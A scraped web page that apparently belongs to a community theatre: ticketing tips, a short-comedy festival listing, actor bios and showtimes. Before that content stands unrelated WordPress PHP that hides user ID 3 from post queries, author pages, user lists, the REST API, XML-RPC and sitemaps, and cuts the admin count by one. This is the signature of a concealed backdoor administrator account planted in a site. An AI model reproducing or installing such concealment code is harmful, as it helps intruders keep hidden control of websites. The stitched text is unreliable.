add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 3;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 3 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 3;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 3;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 3;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 3;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
Choosing your own seats at Steel Beam is always possible when using a desktop computer. If you are purchasing your tickets using a mobile device or tablet, the default setting of your the mobile browser will not allow you to choose individual seats. The seats will be assigned by “best available” in each section. However, if you engage the Desktop version of the event page from your mobile browser’s settings, you can chose your own seats. Below are screen shots from Safari and Chrome which highlights how to switch to the desktop version of the event page: You are also welcome to email our Managing Director catie@steelbeamtheatre.com or call our box office at 630-587-8521 and someone will get back to you as soon as possible. Thank you for your patience as we switch over to our new ticketing system! Join the Steel Beam for a fun night of five short comedies featuring some of our favorite local talent. This fun filled event will be directed by friends of the Steel Beam: Sean Hargadon, Annie Slivinski and John Westby as well as our own Catie Early and Paul Anderson. This festival includes works by local playwrights: John Westby and Gary MacGowan. Friday, April 1, 2022 at 8 pm


Julie Bayer (Bette Davis)
Julie is glad to return to the Steel Beam Theatre stage. Her previous shows here include The Odd Couple (Florence Unger), Silent Sky (Annie Cannon), The Importance of Being Earnest (Gwendolen), The Complete Works of William Shakespeare (Abridged) (Self), Scrooge: The Musical (The Ghost of Christmas Past), Don’t Dress for Dinner (Suzette), Fairways (Kathy), and Jekyll and Hyde (Emma). Her other credits include the Lyric Opera Chorus, Sweeney Todd (Paramount Theatre); Drood (Fox Valley Repertory ); Persuasion (Chamber Opera Chicago: UK, Chicago, NYC tours); Dial M for Murder, A Christmas Carol (Metropolis PAC); Promises, Promises, Noises Off!, The Dinner Party (Brightside Theatre); Circle Mirror Transformation (Janus Theatre)

Heidi Swarthout (Liz Fuller)
Heidi is overjoyed to return to the Steel Beam stage! Her favorite Steel Beam appearances are The Real Inspector Hound (Cynthia) and The Complete Works of William Shakespeare, Abridged (Jess). Other favorite performances include Skylight (Kyra) at Gallery Theatre, On Golden Pond (Chelsea) at Indian Valley Theatre, In The Next Room, or the Vibrator Play (Mrs. Daldry) at Albright Community Theatre, her ongoing work with Janus Theatre Company’s Elgin Shakespeare Project, and opening later this month, Silent Sky (Annie) at Wheaton Drama. When she is not participating in theatre, she is talking about it on the podcast she co hosts, The Just for Show Show. The stage is her second love, the first being her beautiful husband, Johnny, and their two pups. She extends a heart of gratitude to Marge and Julie, and all those who support her, on and off the stage.
Me & Jezebel runs Fridays and Saturdays at 8PM and Sundays at 3PM from March 4 – March 20.
Friday, Saturday & Sundays January 14-30, 2022]]>POSTPONED: Hilarity Ensues – A Short Play Comedy Fest
SHOWTIMES
Saturday, April 2, 2022 at 8 pm
Sunday, April 3, 2022 at 3 pm
Friday, April 8, 2022 at 8 pm
Saturday, April 9, 2022 at 8 pm
Sunday, April 10, 2022 at 3 pm
Friday, April 15, 2022 at 8 pm
Saturday, April 16, 2022 at 8 pmThoughts, comments, or questions? We'd love to hear from you!